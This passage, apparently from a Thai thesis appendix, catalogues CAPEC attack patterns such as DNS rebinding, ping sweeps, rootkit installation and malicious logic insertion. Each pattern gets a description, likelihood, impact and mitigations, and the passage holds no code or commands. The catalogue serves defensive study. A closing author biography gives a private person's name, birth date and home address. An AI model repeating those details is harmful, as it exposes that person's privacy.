that is delivered to client is sanitized against an acceptable content specification -- 

whitelisting approach. 

Implementation: Prefer working without user input when using file system calls 

Implementation: Use indirect references rather than actual file names. 

17. Screen Temporary Files for Sensitive Information 

CAPEC ID CAPEC-155 

Description An adversary exploits the temporary, insecure storage of information by monitoring the 

content of files used to store temp data during an application's routine execution flow. 

Many applications use temporary files to accelerate processing or to provide records of 

state across multiple executions of the application. Sometimes, however, these 

temporary files may end up storing sensitive information. By screening an application's 

temporary files, an adversary might be able to discover such sensitive information. For 

example, web browsers often cache content to accelerate subsequent lookups. If the 

content contains sensitive information then the adversary could recover this from the 

web cache. 

Likelihood Medium 
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Impact Medium 

Resources Required Because some application may have a large number of temporary files and/or these 

temporary files may be very large, an adversary may need tools that help them quickly 

search these files for sensitive information. If the adversary can simply copy the files to 

another location and if the speed of the search is not important, the adversary can still 

perform the attack without any special resources. 

Mitigations Remove potentially sensitive information that is not necessary for the application's 

functionality. 

18. DNS Rebinding 

CAPEC ID CAPEC-275 

Description An adversary serves content whose IP address is resolved by a DNS server that the 

adversary controls. After initial contact by a web browser (or similar client), the 

adversary changes the IP address, to which its name resolves, to an address within the 

target organization that is not publicly accessible. This allows the web browser to 

examine this internal address on behalf of the adversary. Web browsers enforce 

security zones based on DNS names in order to prevent cross-zone disclosure of 

information. In a DNS binding attack, an adversary publishes content on their own 

server with their own name and DNS server. The first time the target accesses the 

adversary's content, the adversary's name must be resolved to an IP address. 

Likelihood High 

Impact Very High 

Resources Required The adversary must serve some web content that a victim accesses initially. This 

content must include executable content that queries the adversary's DNS name (to 

provide the second DNS resolution) and then performs the follow-on attack against the 

internal system. The adversary also requires a customized DNS server that serves an IP 

address for their registered DNS name, but which resolves subsequent requests by a 

single client to addresses internal to that client's network. 

Mitigations Design: IP Pinning causes browsers to record the IP address to which a given name 

resolves and continue using this address regardless of the TTL set in the DNS response. 

Unfortunately, this is incompatible with the design of some legitimate sites. 

Implementation: Reject HTTP request with a malicious Host header. 

Implementation: Employ DNS resolvers that prevent external names from resolving to 

internal addresses. 

19. ICMP Echo Request Ping 

CAPEC ID CAPEC-285 
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Description An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in 

order to determine if a target system is responsive. If the request is not blocked by a 

firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. 

This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in 

almost all operating systems. Ping, as commonly implemented, allows a user to test 

for alive hosts, measure round-trip time, and measure the percentage of packet loss. 

Performing this operation for a range of hosts on the network is known as a 'Ping 

Sweep'. While the Ping utility is useful for small-scale host discovery, it was not 

designed for rapid or efficient host discovery over large network blocks. Other scanning 

utilities have been created that make ICMP ping sweeps easier to perform. Most 

networks filter ingress ICMP Type 8 messages for security reasons. Various other 

methods of performing ping sweeps have developed as a result. 

Likelihood Medium 

Impact Low 

Resources Required Scanners or utilities that provide the ability to send custom ICMP queries. 

Mitigations Consider configuring firewall rules to block ICMP Echo requests and prevent replies. If 

not practical, monitor and consider action when a system has fast and a repeated 

pattern of requests that move incrementally through port numbers. 

20. Malicious Logic Insertion 

CAPEC ID CAPEC-441 

Description An adversary installs or adds malicious logic (also known as malware) into a seemingly 

benign component of a fielded system. This logic is often hidden from the user of the 

system and works behind the scenes to achieve negative impacts. With the 

proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 

802.11 support, new attack vectors for spreading malware are emerging for things we 

once thought of as innocuous greeting cards, picture frames, or digital projectors. This 

pattern of attack focuses on systems already fielded and used in operation as opposed 

to systems and their components that are still under development and part of the 

supply chain. 

Likelihood Medium 

Impact High 

Resources Required None 

Mitigations Perform testing such as pen-testing and vulnerability scanning to identify directories, 

programs, and interfaces that grant direct access to executables. 

21. Signature Spoofing by Misrepresentation 
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CAPEC ID CAPEC-476 

Description An attacker exploits a weakness in the parsing or display code of the recipient software 

to generate a data blob containing a supposedly valid signature, but the signer's 

identity is falsely represented, which can lead to the attacker manipulating the 

recipient software or its victim user to perform compromising actions. 

Likelihood Low 

Impact High 

Resources Required None 

Mitigations Ensure the application is using parsing and data display techniques that will accurately 

display control characters, international symbols and markings, and ultimately 

recognize potential homograph attacks. 

22. Infiltration of Hardware Development Environment 

CAPEC ID CAPEC-537 

Description An attacker, leveraging the ability to manipulate components of primary support 

systems and tools within the development and production environments, inserts 

malicious software within the hardware and/or firmware development environment. 

The infiltration purpose is to alter developed hardware components in a system 

destined for deployment at the victim's organization, for the purpose of disruption or 

further compromise. 

Likelihood Low 

Impact High 

Resources Required None 

Mitigations Ensure rigorous physical defensive measures to keep the adversary from accessing 

critical systems. 

23. Install Rootkit 

CAPEC ID CAPEC-552 

Description An adversary exploits a weakness in authentication to install malware that alters the 

functionality and information provide by targeted operating system API calls. Often 

referred to as rootkits, it is often used to hide the presence of programs, files, network 

connections, services, drivers, and other system components. 

Likelihood Medium 

Impact High 

Resources Required None 

Mitigations Prevent adversary access to privileged accounts necessary to install rootkits. 
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24. Disabling Network Hardware 

CAPEC ID CAPEC-583 

Description In this attack pattern, an adversary physically disables networking hardware by 

powering it down or disconnecting critical equipment. Disabling or shutting off critical 

system resources prevents them from performing their service as intended, which can 

have direct and indirect consequences on other systems. This attack pattern is 

considerably less technical than the selective blocking used in most obstruction 

attacks. 

Likelihood Low 

Impact High 

Resources Required None 

Mitigations Ensure rigorous physical defensive measures to keep the adversary from accessing 

critical systems. 
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ประวัต ิผ ู้เข ีย น 
 

ประวัติผู้เขียน 
 

ชื่อ-สกุล วิชสุน ีธีรรัชต์กาญจน ์
วัน เดือน ปี เกิด 30 กันยายน 2538 
สถานท่ีเกิด กรุงเทพมหานคร 
วุฒิการศึกษา จุฬาลงกรณ์มหาวิทยาลัย 
ท่ีอยู่ปัจจุบัน 498/25 ซ.ตากสิน19 แขวงส าเหร ่เขตธนบุร ีกรุงเทพมหานคร 10600   
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